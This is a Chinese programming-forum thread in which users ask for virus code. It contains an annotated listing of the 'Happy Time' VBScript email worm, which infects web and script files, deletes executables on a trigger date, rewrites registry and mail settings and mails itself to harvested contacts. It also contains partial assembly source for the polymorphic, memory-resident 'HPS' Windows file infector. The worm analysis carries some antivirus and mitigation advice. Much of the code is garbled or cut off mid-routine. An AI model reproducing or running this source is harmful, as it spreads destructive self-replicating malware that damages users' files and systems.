给我几个病毒代码吧!! (300分)

网络上不就有,见www.programsalon.com
 
我不要,嘻嘻......
 
我怎么没收到?
?研究病毒违法吗?
那杀毒软件是怎么做的?
仁者见仁呀!!
 
没有什么意思!
 
如果有delphi的病毒代码我也要希望有注释
vikyviky3@163.net
 
我也想要micony@sina.com
 
嘻嘻 我有上百个呢 :) 不过---不能给居心不良的人哦!!!
 
能够告诉怎么去编吗?:)
别来嘘的。要编程原理。
 
/"欢乐时光/"代码分析
转自<天极网>
====================
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:
纯文本和超文本。超文本(html)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是vbscript和
javascript。“欢乐时光”在超文本中夹带的就是vbs。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高
手,他对vbs的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(type library)成功地避开了安全
审核的手段更是令人叹为观止。
  下面让我们来看看它藏在快乐的外衣下的是什么吧!

*************** 欢乐时光 ***************
rem i am sorry! happy time
on error resume next
mload
'以上为病毒入口,并加上i am sorry! happy time的注释,以表明此文件已被感染过。
sub mload()
on error resume next
mpath = grf()
set os = createobject(/"scriptlet.typelib/")
set oh = createobject(/"shell.application/")
'建立枚举对象,避开了安全审核
if ishtml then

'调用ishtml函数,如果是html,就小写……
murl = lcase(document.location)
if mpath = /"/" then

os.reset
os.path = /"c://help.htm/"
os.doc = lhtml()
os.write()
'如果mpath为空,就在c盘下生成help.htm
ihtml = /"/"
'超文本的内容,并指向c://help.htm
calldo
cument.body.insertadjacenthtml(/"afterbegin
/", ihtml)
else

if iv(mpath, /"help.vbs/") then

setinterval /"rt()/", 10000
else

m = /"hta/"
if lcase(m) = right(murl, len(m)) then

id = settimeout(/"mclose()/", 1)
'设置超时条件
main
else

os.reset()
os.path = mpath &amp;
/"///" &amp;
/"help.hta/"
os.doc = lhtml()
os.write()
iv mpath, /"help.hta/"
'生成help.hta
end if
end if
end if
else

main
'都不是,就执行main函数
end if
end sub
'******************************************************************
'以下为主函数,太长了!
sub main()
on error resume next
set of = createobject(/"scripting.filesystemobject/")
'不用说,创建filesystemobject对象啦
set od = createobject(/"scripting.dictionary/")
'创建dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
od.add /"html/", /"1100/"
od.add /"vbs/", /"0100/"
od.add /"htm/", /"1100/"
od.add /"asp/", /"0010/"
'向dictionary对象添加要感染的项目对
ks = /"hkey_current_user//software///"
'使用变量以减少代码长度
ds = grf()
cs = gsf()
if isvbs then

'如果是vbs
if of.fileexists(/"c://help.htm/") then

of.deletefile (/"c://help.htm/")
'如果c://help.htm存在,就删掉,消灭遗留的痕迹
end if
key = cint(month(date) + day(date))
if key = 13 then

'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
od.removeall
od.add /"exe/", /"0001/"
od.add /"dll/", /"0001/"
'就清空dictionary数组,并将exe、dll加入dictionary 对象,以备删除之用
end if
cn = rg(ks &amp;
/"help//count/")
'读注册表中的hkey_current_user//software//help//count键值
if cn = /"/" then

cn = 1
'如果count为0,就设为1
end if
rw ks &amp;
/"help//count/", cn + 1
'添加hkey_current_user//software//help//count键值,值为2
f1 = rg(ks &amp;
/"help//filename/")
'再读hkey_current_user//software//help//filename键值
f2 = fnext(of, od, f1)
'得到该文件的文件名
fext = getext(of, od, f2)
'得到该文件扩展名的代号
rw ks &amp;
/"help//filename/", f2
'添加键值
if isdel(fext) then

'如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
'储存文件名
f2 = fnext(of, od, f2)
'得到文件的文件名?
rw ks &amp;
/"help//filename/", f2
'写注册表
of.deletefile f3
'删除文件
else

if lcase(wscript.scriptfullname) <> lcase(f2) then

'如果不是集合中的文件
fw of, f2, fext
end if
end if
if (cint(cn) mod 366) = 0 then

if (cint(second(time)) mod 2) = 0 then

'使用 cint函数强制执行转换,并发邮件
tsend
else

adds = og
msend (adds)
end if
end if
wp = rg(/"hkey_current_user//control panel//desktop//wallpaper/")
if rg(ks &amp;
/"help//wallpaper/") <> wp or wp = /"/" then

'比较桌面墙纸是否已改变
if wp = /"/" then

n1 = /"/"
n3 = cs &amp;
/"//help.htm/"
else

mp = of.getfile(wp).parentfolder
n1 = of.getfilename(wp)
n2 = of.getbasename(wp)
n3 = cs &amp;
/"///" &amp;
n2 &amp;
/".htm/"
end if
set pfc = of.createtextfile(n3, true)
mt = sa(/"1100/")
'创建超文本
pfc.write /"</" &amp;
/"html></" &amp;
/"body bgcolor='#007f7f' background='/" &amp;
n1 &amp;
/"'><
/" &amp;
/"/body></" &amp;
/"/html>/" &amp;
mt
'超文本的内容
pfc.close
rw ks &amp;
/"help//wallpaper/", n3
rw /"hkey_current_user//control panel//desktop//wallpaper/", n3
'将带毒的超文本设置成活动桌面
end if
else

set fc = of.createtextfile(ds &amp;
/"//help.vbs/", true)
fc.write sa(/"0100/")
'创建vbs文件
fc.close
bf = cs &amp;
/"//untitled.htm/"
set fc2 = of.createtextfile(bf, true)
fc2.write lhtml
fc2.close
'创建windows下的untitled.htm
oeid = rg(/"hkey_current_user//identities//default user id/")
oe = /"hkey_current_user//identities///" &amp;
oeid &amp;
/"//software//microsoft//outlook e
xpress//5.0//mail/"
msh = oe &amp;
/"//message send html/"
cus = oe &amp;
/"//compose use stationery/"
sn = oe &amp;
/"//stationery name/"
rw msh, 1
rw cus, 1
rw sn, bf
'在hkey_current_user\identities\{aecf6ca3-9614-4af4-aef2-ct63fe9d97a4}\software\microsoft\outlook
express\5.0\mail下添加三个键值message send html 、compose use stationery 和stationery name,前两个的值为
1,后一个指向windows//untitled.htm
web = cs &amp;
/"//web/"
set gf = of.getfolder(web).files
'得到windows//web文件夹里的文件
od.add /"htt/", /"1100/"
'向dictionary里添加htt项目对
for each m in gf
'遍历windows//web下的每一个文件
fext = getext(of, od, m)
'得到每个文件的扩展名
if fext <> /"/" then

'如果扩展名不为空,则
fw of, m, fext
end if
next
end if
end sub
'******************************************************************
sub mclose()
document.write /"</" &amp;
/"title>i am sorry!'写入i am sorry,并关闭。以此作为感染与否的标记
window.close
end sub
'******************************************************************
sub fw(of, s, n)
'此时s为文件名,n为文件扩展名
dim fc, fc2, m, mmail, mt
on error resume next
set fc = of.opentextfile(s, 1)
'只读模式打开该文件
mt = fc.readall
'读入全部文件流
fc.close
'关闭文件
if not sc(mt) then

'如果未感染过
mmail = ml(mt)
mt = sa(n)
set fc2 = of.opentextfile(s, 8)
'打开文件并在文件末尾进行写操作
fc2.write mt
fc2.close
msend (mmail)
'发带毒邮件
end if
end sub
'******************************************************************
function sc(s)
mn = /"rem i am sorry! happy time/"
if instr(s, mn) > 0 then

'如果读入的文件流中有rem i am sorry! happy time
sc = true
else

sc = false
'表示已感染过,返回true,否则为false
end if
end function
'******************************************************************
function fnext(of, od, s)
dim fpath, fname, fext, t, gf
on error resume next
fname = /"/"
t = false
'初始化变量
if of.fileexists(s) then

'如果s存在于当前文件夹中
fpath = of.getfile(s).parentfolder
'得到文件的父目录名
fname = s
'得到文件名
else
if of.folderexists(s) then

'不存在于当前文件夹中,则得到目录名
fpath = s
t = true
else

fpath = dnext(of, /"/")
'得到当前盘符——即根目录
end if
do while true
set gf = of.getfolder(fpath).files
'得到当前目录下的所有文件对象
for each m in gf
'遍历每个文件
if t then

if getext(of, od, m) <> /"/" then

'如果该文件是文件集合中的一员
fnext = m
'则返回该文件名,供调用的函数或过程使用——感染或删除之
exit function
end if
else
if lcase(m) = lcase(fname) or fname = /"/" then

'如果没文件
t = true
end if
next
fpath = pnext(of, fpath) '
loop
end function
'******************************************************************
function pnext(of, s)
on error resume next
dim ppath, npath, gp, pn, t, m
t = false
if of.folderexists(s) then

'如果如果指定的文件夹存在
set gp = of.getfolder(s).subfolders
'就得到子目录数
pn = gp.count
if pn = 0 then

'如果没子目录
ppath = lcase(s) '
npath = lcase(of.getparentfoldername(s))
'得到父目录的小写形式
t = true
else

npath = lcase(s)
'有子目录,得到其小写形式的集合
end if
do while not er '
for each pn in of.getfolder(npath).subfolders
'得到子目录下的子目录
if t then

if ppath = lcase(pn) then

t = false
end if
else

pnext = lcase(pn)
exit function
end if
next
t = true
ppath = lcase(npath)
'将字符串转化成小写
npath = of.getparentfoldername(npath) '
if of.getfolder(ppath).isrootfolder then

'如果是根目录
m = of.getdrivename(ppath)
'就得到分区符
pnext = dnext(of, m)
exit function
end if
loop
end if
end function
'******************************************************************
function dnext(of, s)
dim dc, n, d, t, m
on error resume next
t = false
m = /"/"
set dc = of.drives
'得到所有的驱动器盘符
for each d in dc
'遍历每个驱动器
if d.drivetype = 2 or d.drivetype = 3 then

'如果是网络盘或本地盘
if t then

dnext = d
exit function
'如果是false,就返回当前盘,并退出本函数
else

if lcase(s) = lcase(d) then

'如果是true且盘符相同,就令t为true
t = true
end if
if m = /"/" then

'如果m为空,就将盘符付给m
m = d
end if
end if
end if
next
dnext = m
'返回盘符
end function
'******************************************************************
function getext(of, od, s)
dim fext
on error resume next
fext = lcase(of.getextensionname(s))
'返回该文件扩展名的小写
getext = od.item(fext)
'返回dictionary对象中指定的key对应的item——即0001(exe)等
end function
'******************************************************************
sub rw(k, v)
'写注册表
dim r
on error resume next
set r = createobject(/"wscript.shell/")
'创建对象
r.regwrite k, v
end sub
'******************************************************************
function rg(v)
'读注册表
dim r
on error resume next
set r = createobject(/"wscript.shell/")
'创建对象
rg = r.regread(v)
end function
'******************************************************************
function isvbs()
'此函数判断是不是vbs文件
dim errtest
on error resume next
errtest = wscript.scriptfullname
if err then

'如果出错,则不是vbs
isvbs = false
else

isvbs = true
end if
end function
'******************************************************************
function ishtml()
'此函数判断是不是html文件
dim errtest
on error resume next
errtest =do
cument.location
if er then

ishtml = false
'如果出错,则不是超文本
else

ishtml = true
end if
end function

'******************************************************************
function ismail(s)
'此函数判断是不是邮件地址
dim m1, m2
ismail = false
if instr(s, vbcrlf) = 0 then

'返回vbcrlf在s中第一次出现的位置, vbcrlf是换行符
m1 = instr(s, /"@/")
m2 = instr(s, /"./")
if m1 <> 0 and m1 < m2 then

'如果有“@”符号且“@”在“./"之前,则是邮件地址
ismail = true
end if
end if
end function
'******************************************************************
function gsf()
'得到windows目录
dim of, m
on error resume next
set of = createobject(/"scripting.filesystemobject/")
'创建filesystemobject对象
m = of.getspecialfolder(0)
'得到特殊目录——windows、system和temp目录
if er then

'如果失败,返回c:/gsf = /"c:///"
else

'若正常,则返回%windows%
gsf = m
end if
end function
'******************************************************************
function lhtml()
'写入超文本的内容,其中vbcrlf是换行符
lhtml = /"</" &amp;
/"html/" &amp;
/">/"</" &amp;
/"title> help /"</" &amp;
/"body> /" &amp;
lscript(lvbs()) &amp;
vbcrlf &amp;
_
/"</" &amp;
/"/body>end function
'******************************************************************
function lscript(s)
'写入vbscript的声明
lscript = /"</" &amp;
/"script language='vbscript'>/" &amp;
vbcrlf &amp;
_
s &amp;
/"</" &amp;
/"/script/" &amp;
/">/"
end function
'******************************************************************
function sl(s1, s2, n)
dim l1, l2, l3, i
l1 = len(s1)
'得到文件流的长度
l2 = len(s2)
'得到mailto:的长度
i = instr(s1, s2)
'在文件流中查找mailto:第一次出现的位置——值为一个数
if i > 0 then

'找到则进行字符串操作
l3 = i + l2 - 1
if n = 0 then

sl = left(s1, i - 1)
else
if n = 1 then

sl = right(s1, l1 - l3)
end if
else

sl = /"/"
end if
end function

'******************************************************************
function og()
'得到wab(通讯簿)中的邮件地址
dim i, n, m(), om, oo
set oo = createobject(/"outlook.application/")
'创建outlook应用程序对象,outlook和outlook express都跑不掉啦!
set om = oo.getnamespace(/"mapi/").getdefaultfolder(10).items
n = om.count
redim m(n)
for i = 1 to n
m(i - 1) = om.item(i).email1address
得到每个wab中的邮件地址
next
og = m
end function
'******************************************************************
sub tsend()
'发带毒邮件
dim od, ms, mm, a, m
set od = createobject(/"scripting.dictionary/")
mconnect ms, mm
mm.fetchsorted = true
mm.fetch
for i = 0 to mm.msgcount - 1
mm.msgindex = i
a = mm.msgorigaddress
if od.item(a) = /"/" then

od.item(a) = mm.msgsubject
end if
next
for each m in od.keys
mm.compose
mm.msgsubject = /"fw: /" &amp;
od.item(m)
'设置邮件标题
mm.recipaddress = m
'此邮件的当前的目标邮件地址
mm.attachmentpathname = gsf &amp;
/"//untitled.htm/"
'添加附件windows//untitled.htm
mm.send
'发送!
next
ms.signoff
end sub
'******************************************************************
function er()
'设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
if err.number = 0 then

er = false
else

err.clear
er = true
end if
end function
'******************************************************************
function isdel(s)
'此函数查看当前文件是否是要删除的文件类型
if mid(s, 4, 1) = 1 then

'看s的第四个字符是否是1——即是0001(exe和dll)
isdel = true
'如是,返回true,以备删除
else

isdel = false
'如不是,返回false
end if
end function
'******************************************************************

于安全上的考虑,上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到,“欢
乐时光”也采用了“爱虫”的filesystemobject(文件系统对象)的技术,这也几乎是所有vbs邮件病毒必不可少的部分。
因此如果杀毒软件监视所有html和vbs中的filesystemobject关键字,几乎可以查出所有和潜在的变种(虽然可能会将某些
良性的超文本和vbs误报,但还是“宁可错杀一千,不可放过一毒”。如果仅监视关键字,如“爱虫”的“i love you”,
“欢乐时光”的“happy time/",造毒者只要将其改掉即可,再将邮件标题、内容和源码中的变量名替换一下,具有“智能
查毒”的杀毒软件们也只有装聋作哑,望毒兴叹了。
  如果您使用的是foxmail 3.x,恭喜您啦!foxmail 3.0以上的版本都严格地将文本邮件和超文本邮件加以区分,默认
超文本邮件需要点击右角上的小地球图标才可以看到超文本,如果您怀疑某封信可能带毒,就可以从容删之,或导出成
ascii文件用记事本打开研究研究。而老foxmail和outlook express就没那么幸运,即一看到标题就已bingo,oe还会成为
散毒源,寄发带毒邮件。因此首先,最好使用foxmail 3.x,安全第一嘛!如果不放心,干脆删掉wsh(windows
scripting host)吧!方法是找到/"添加/删除程序/"->/"windows安装程序/"--/"附件/" ,将/"组件/"中的/"windows scripting
host/"所占空间1.1mb前面的勾去掉,然后选/"确定/"即可。如果你想研究其源码,用foxmail导出为文本文件即可,“知己知
彼,百战不殆”嘛!

 
看一看我写的病毒代码,10月22号发作,如果中文系统就会显示一盘象棋
 
HPS virus
.386P
locals
jumps
.model flat,STDCALL
;Include the following files
include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc
;Some externals only used on 1st generation
extrn ExitProcess:NEAR
extrn MessageBoxA:NEAR
;Virus equates
mem_size equ mem_end-mem_base ;Size of virus in
memory
inf_size equ inf_end-mem_base ;Size of virus in
files
base_default equ 00400000h ;Default host base
address
page_mem_size equ (mem_size+ / ;Virus in memory
inf_size+ / ;Virus copy for
infections
poly_max_size+ / ;Poly decryptor
0FFFh)/1000h ;Size in memory pages
page_align equ 10000h ;Page allocation
alignment
SIZE_PADDING equ 00000065h ;Mark for infected
files
;Some equates stolen from VMM.h
PR_PRIVATE EQU 80000400h
PR_SHARED EQU 80060000h
PR_SYSTEM EQU 80080000h
PR_FIXED EQU 00000008h
PR_4MEG EQU 00000001h
PR_STATIC EQU 00000010h
PD_ZEROINIT EQU 00000001h
PD_NOINIT EQU 00000002h
PD_FIXEDZERO EQU 00000003h
PD_FIXED EQU 00000004h
PC_FIXED EQU 00000008h
PC_LOCKED EQU 00000080h
PC_LOCKEDIFDP EQU 00000100h
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PC_INCR EQU 40000000h
PC_PRESENT EQU 80000000h
PC_STATIC EQU 20000000h
PC_DIRTY EQU 08000000h
PCC_ZEROINIT EQU 00000001h
PCC_NOLIN EQU 10000000h

_TEXT segment dword use32 public 'CODE'
host_entry: xor ebp,ebp
call entry_1st_gen
xor eax,eax
push eax
call ExitProcess
_TEXT ends

_DATA segment dword use32 public 'DATA'
_DATA ends

_BSS segment dword use32 public 'BSS'
_BSS ends
virseg segment dword use32 public 'HPS'
mem_base equ this byte
virus_entry: call get_delta ;Get
delta-offset
get_delta: pop ebp ;into ebp and
mov eax,ebp ;host original
sub ebp,offset get_delta ;entry-point
in eax
db 2Dh ;sub eax,xxxx
infected_ep dd 00000000h
db 05h ;add eax,xxxx
original_ep dd 00000000h
push eax
entry_1st_gen: ;Scan memory looking for KERNEL32.dll
;We cando
this without causing protection faults,
;just setup a structured exception handler to trap
faults
;produced by our scan
;Thanks to Jacky Qwerty for this piece of code
pushad
try_01: mov eax,080000101h
call IGetK32BaseAddr
jecxz try_02
jmp kernel_found
try_02: mov eax,0C0000101h
call IGetK32BaseAddr
jecxz try_03
jmp kernel_found
try_03: xor eax,eax
call IGetK32BaseAddr
kernel_found: mov dword ptr [esp.Pushad_ebx],ecx
popad
or ebx,ebx
jz init_error
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
add eax,ebx
mov edi,dword ptr [eax+NT_OptionalHeader. /
OH_DirectoryEntries. /
DE_Export. /
DD_VirtualAddress]
add edi,ebx
mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,ebx
xor edx,edx
address_loop: cmp edx,dword ptr [edi+ED_NumberOfFunctions]
jae init_error
mov ecx,00000008h-01h
function_loop: inc edx
lodsd
cmp eax,dword ptr [esi]
jne address_loop
loop function_loop
add eax,ebx
mov dword ptr [ebp+a_VxDCall],eax ;VxDCall found
;At this point we know how to call VxDCall api
;So we can use our int21h dispatcher to perform
;the residency check
mov eax,00002A00h
mov esi,"HPS!"
mov edi,"TSR?"
call my_int21h
cmp esi,"YES!"
je init_error
;Check if time to activate our payload
xor ecx,ecx
cmp al,06h ;Saturday?
jne activation_end
inc ecx
activation_end: mov dword ptr [ebp+bmp_active],ecx
;Well... Now lets use VxDCall to allocate some
;shared memory
;This memory will stay there after host termination
;and will be visible to all running processes
push PC_WRITEABLE or PC_USER
push page_mem_size ;# of pages
push PR_SHARED
PUSH 00010000h ;Call to
_PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
cmp eax,0FFFFFFFFh ;Success?
je init_error
cmp eax,80000000h ;In shared
memory?
jb free_pages
mov dword ptr [ebp+mem_address],eax ;Save linnear
address
push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 00000000h
push PD_ZEROINIT
push page_mem_size ;# of pages
shr eax,0Ch ;Linnear page
number
push eax
push 00010001h ;Call to
_PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
or eax,eax
je free_pages
commit_success: mov eax,dword ptr [ebp+mem_address] ;Point eax to
our
add eax,VxDCall_code-mem_base ;hook
procedure
mov dword ptr [ebp+ptr_location],eax ;Setup far jmp
mov dword ptr [ebp+hook_status],"FREE" ;Clear busy
flag

mov esi,dword ptr [ebp+a_VxDCall] ;VxDCall
entry-point
mov ecx,00000100h ;Explore 0100h
bytes
trace_VxDCall: lodsb
cmp al,2Eh
jne trace_next
cmp word ptr [esi],1DFFh
je get_int30h
trace_next: loop trace_VxDCall
free_pages: xor eax,eax
push eax
push dword ptr [ebp+mem_address]
push 0001000Ah ;Call to
_PageFree
call dword ptr [ebp+a_VxDCall] ;VxDCall0
jmp init_error
get_int30h: ;Before setting our hook lets generate one polymorphic
;decryptor... We will use this decryptor for each file
;infection... This is also known as slow-mutation
call mutate ;Generate
decryptor
;Now we have all the necesary information to hook
Windows
;calls to VxDCall function
;Save the 16:32 pointer to INT 30h instruction and
;overwrite it with the address of our hook procedure
cli
lodsw ;Skip FF 1D
opcodes
lodsd ;Get ptr to
INT 30h
push eax
mov esi,eax
mov edi,dword ptr [ebp+mem_address]
add edi,VxDCall_code-mem_base
mov ecx,00000006h
rep movsb
pop edi
mov eax,dword ptr [ebp+mem_address]
add eax,VxDCall_hook-mem_base
stosd
mov ax,cs ;Overwrite far
ptr
stosw
sti
init_error: lea ebp,dword ptr [esp+0000013Ch-00000004h]
ret

SEH_ExcptBlock macro
add esp,-cPushad
jnz GK32BA_L1
endm
IGetK32BaseAddr: @SEH_SetupFrame &amp;lt;SEH_ExcptBlock&amp;gt;
mov ecx,edx
xchg ax,cx
GK32BA_L0: dec cx
jz GK32BA_L2
add eax,-10000h
pushad
mov bx,-IMAGE_DOS_SIGNATURE
add bx,[eax]
mov esi,eax
jnz GK32BA_L1
mov ebx,-IMAGE_NT_SIGNATURE
add eax,[esi.MZ_lfanew]
mov edx,esi
add ebx,[eax]
jnz GK32BA_L1
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries /
.DE_Export.DD_VirtualAddress]
cld
add esi,[edx.ED_Name]
lodsd
and eax,not 20202020h
add eax,-'NREK'
jnz GK32BA_L1
lodsd
or ax,2020h
add eax,-'23le'
jnz GK32BA_L1
lodsb
xor ah,al
jz GK32BA_L1
add al,-'.'
lodsd
jnz GK32BA_L1
and eax,not 202020h
add eax,-'LLD'
GK32BA_L1: popad
jnz GK32BA_L0
xchg ecx,eax
inc eax
GK32BA_L2: @SEH_RemoveFrame
ret
include excpt.inc
VxDCall_hook: pushad
call mem_delta ;Get
mem_delta: pop ebp ;delta offset
sub ebp,offset mem_delta
cmp dword ptr [ebp+hook_status],"BUSY" ;Dont process
our
je exit_hook ;own calls
cmp eax,002A0010h ;VWIN32 VxD
int 21h?
jne exit_hook
mov eax,dword ptr [esp+0000002Ch]
cmp ax,2A00h ;Get system
je tsr_check
cmp ax,3D00h ;Open file
je infection_edx
cmp ax,3D01h ;Open file
je infection_edx ;read/write?
cmp ax,7143h ;X-Get/set
je infection_edx
cmp ax,714Eh ;LFN find
je stealth
cmp ax,714Fh ;LFN find next
je stealth
cmp ax,7156h ;LFN rename
je infection_edx
cmp ax,716Ch ;LFN extended
je infection_esi
cmp ax,71A8h ;Generate
je infection_esi
exit_hook: popad
do_far_jmp: ;Do a jmp fword ptr cs:[xxxxxxxx] into original code
db 2Eh,0FFh,2Dh
ptr_location dd 00000000h
tsr_check: cmp esi,"HPS!" ;Is our tsr
check?
jne exit_hook
cmp edi,"TSR?"
jne exit_hook
popad
mov esi,"YES!" ;Already
resident
jmp shortdo
_far_jmp
stealth: mov eax,dword ptr [esp+00000028h] ;Save return
address
mov dword ptr [ebp+stealth_ret],eax
lea eax,dword ptr [ebp+api_ret] ;Set new ret
address
mov dword ptr [esp+00000028h],eax
mov dword ptr [ebp+find_data],edi ;Save
ptr2FindData
jmp exit_hook
api_ret: ;As result of the above code we will get control after
;int21h FindFirst or FindNext funcions
jc back2caller ;Exit if fail
pushad ;Save all
registers
call stealth_delta ;Delta offset
used
stealth_delta: pop ebp ;in stealth
routines
sub ebp,offset stealth_delta
db 0BFh ;mov edi,ptr
FindData
find_data dd 00000000h
xor eax,eax
cmp dword ptr [edi+WFD_nFileSizeHigh],eax
jne stealth_done
mov eax,dword ptr [edi+WFD_nFileSizeLow]
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jnz stealth_done
lea esi,dword ptr [edi+WFD_szFileName] ;Ptr to
filename
push esi
call check_filename
pop esi
jc stealth_done
mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag
mov eax,0000716Ch ;LFN Ext
Open/Create
xor ebx,ebx ;Read
xor ecx,ecx ;Attribute
normal
xor edx,edx
inc edx ;Open existing
call my_int21h
jc stealth_done
mov ebx,eax
mov edx,dword ptr [edi+WFD_nFileSizeLow]
sub edx,00000004h
call seek_here
jc close_stealth
mov eax,00003F00h ;Read bytes
written
mov ecx,00000004h
lea edx,dword ptr [ebp+stealth_this]
call my_int21h
jc close_stealth
mov eax,dword ptr [ebp+stealth_this]
sub dword ptr [edi+WFD_nFileSizeLow],eax
close_stealth: mov eax,00003E00h ;Close file
call my_int21h
stealth_done: mov dword ptr [ebp+hook_status],"FREE" ;Clear busy
flag
popad ;Save all
registers
clc ;Return no
error
back2caller: push eax
push eax
db 0B8h ;Load eax with
the
stealth_ret dd 00000000h ;return
address
mov dword ptr [esp+00000004h],eax
pop eax
ret

infection_edx: mov esi,edx
infection_esi: mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag
call check_filename
jc exit_infection
mov dword ptr [ebp+ptr_filename],edx
mov esi,edx
xor ecx,ecx
cld
name_checksum: xor eax,eax
lodsb
or al,al
jz got_checksum
add ecx,eax
jmp short name_checksum
got_checksum: cmp dword ptr [ebp+last_checksum],ecx
je exit_infection
mov dword ptr [ebp+last_checksum],ecx

mov eax,00007143h ;LFN Ext
xor ebx,ebx ;Retrieve
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_attrib],ecx ;Save original
mov eax,00007143h ;LFN Ext
mov bl,01h ;Set file
xor ecx,ecx ;Clear all
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov eax,00007143h ;LFN Ext
mov bl,04h ;Retrieve last w
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_time],ecx ;Save original
mov dword ptr [ebp+file_date],edi ;Save original
mov eax,0000716Ch ;LFN Ext
mov ebx,00000002h ;Read/Write
xor ecx,ecx ;Attribute
mov edx,00000001h ;Open existing
lea esi,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov ebx,eax
mov eax,00003F00h ;Read MsDos
mov ecx,IMAGE_SIZEOF_DOS_HEADER ;or bitmap
lea edx,dword ptr [ebp+msdos_header] ;header
call my_int21h
jc close_file
cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE
je executable
xor eax,eax
cmp dword ptr [ebp+bmp_active],eax
je close_file
cmp word ptr [ebp+msdos_header],"MB"
jne close_file

cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h
jne close_file
;Skip .BMP files that use compression
xor eax,eax
cmp dword ptr [ebp+msdos_header+0000001Eh],eax
jne close_file
;Check bitmap size in bytes
mov eax,dword ptr [ebp+msdos_header+00000012h]
mov ecx,dword ptr [ebp+msdos_header+00000016h]
mul ecx
cmp eax,dword ptr [ebp+msdos_header+00000022h]
jne close_file
call seek_eof
cmp dword ptr [ebp+msdos_header+00000002h],eax
jne close_file
add eax,00000FFFh
xor edx,edx
mov ecx,00001000h
div ecx
mov dword ptr [ebp+bmp_pages],eax
push ebx
push PC_WRITEABLE or PC_USER
push eax ;# of pages
push PR_SYSTEM
PUSH 00010000h ;Call to
_PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
pop ebx
cmp eax,0FFFFFFFFh ;Success?
je close_file
mov dword ptr [ebp+bmp_address],eax ;Save linnear
push ebx
push PC_WRITEABLE or PC_USER
push 00000000h
push PD_ZEROINIT
push dword ptr [ebp+bmp_pages] ;# of pages
shr eax,0Ch ;Linnear page
push eax
push 00010001h ;Call to
_PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
pop ebx
or eax,eax
je free_bmp_mem
call seek_bof ;Return to bof
jc close_file
mov eax,00003F00h ;Read the
mov ecx,dword ptr [ebp+msdos_header+00000002h]
mov edx,dword ptr [ebp+bmp_address]
call my_int21h
jc free_bmp_mem
mov eax,dword ptr [ebp+bmp_address]
mov esi,dword ptr [eax+0000000Ah]
add esi,eax
cmp dword ptr [esi],0DEADBABEh ;Already
je free_bmp_mem
push esi
push edi
mov ecx,SIZE_PADDING
call rnd_fill
pop edi
;Decryptordo
ne, save its size
pop eax
sub dword ptr [ebp+entry_point],eax
sub edi,eax
mov dword ptr [ebp+decryptor_size],edi
;Copy virus body to our buffer
lea esi,dword ptr [ebp+mem_base]
mov edi,dword ptr [ebp+mem_address]
mov ecx,mem_size
rep movsb
popad
ret

scramble_virus: lea esi,dword ptr [ebp+mem_base]
lea edi,dword ptr [esi+mem_size]
push edi
mov ecx,inf_size
cld
rep movsb
call fixed_size2ecx
pop edi
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
ret

perform_crypt: ;This buffer will contain the code to "crypt" the
virus code
;followed by a RET instruction
db 10h dup (90h)

gen_get_delta: ;Lets generate polymorphic code for the following
pseudocode:

mov al,0E8h
stosb
;Let space for the address to call
stosd
mov dword ptr [ebp+delta_call],edi
push edi
;Generate some random data
call gen_rnd_block
;Get displacement from CALL instruction to destination
;address
mov eax,edi
pop esi
sub eax,esi
;Put destination address after CALL opcode
mov dword ptr [esi-00000004h],eax

call gen_garbage
mov al,58h
or al,byte ptr [ebp+index_mask]
stosb
call gen_garbage
;Make needed fixes to point index to start or end of
;encrypted code
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size
add eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+delta_call]
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok
;Direction is from top to bottom
push eax
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: push eax
;Fix using ADD or SUB?
call get_rnd32
and al,01h
jz fix_with_sub
fix_with_add: ;Generate ADD reg_index,fix_value
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
jmp short fix_done
fix_with_sub: ;Generate SUB reg_index,-fix_value
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
fix_done: stosd
ret

gen_load_ctr: ;Easy now, just move counter random initial value
;into counter reg and calculate the end value
mov al,0B8h
or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp shortdo
ne_ctr_dir
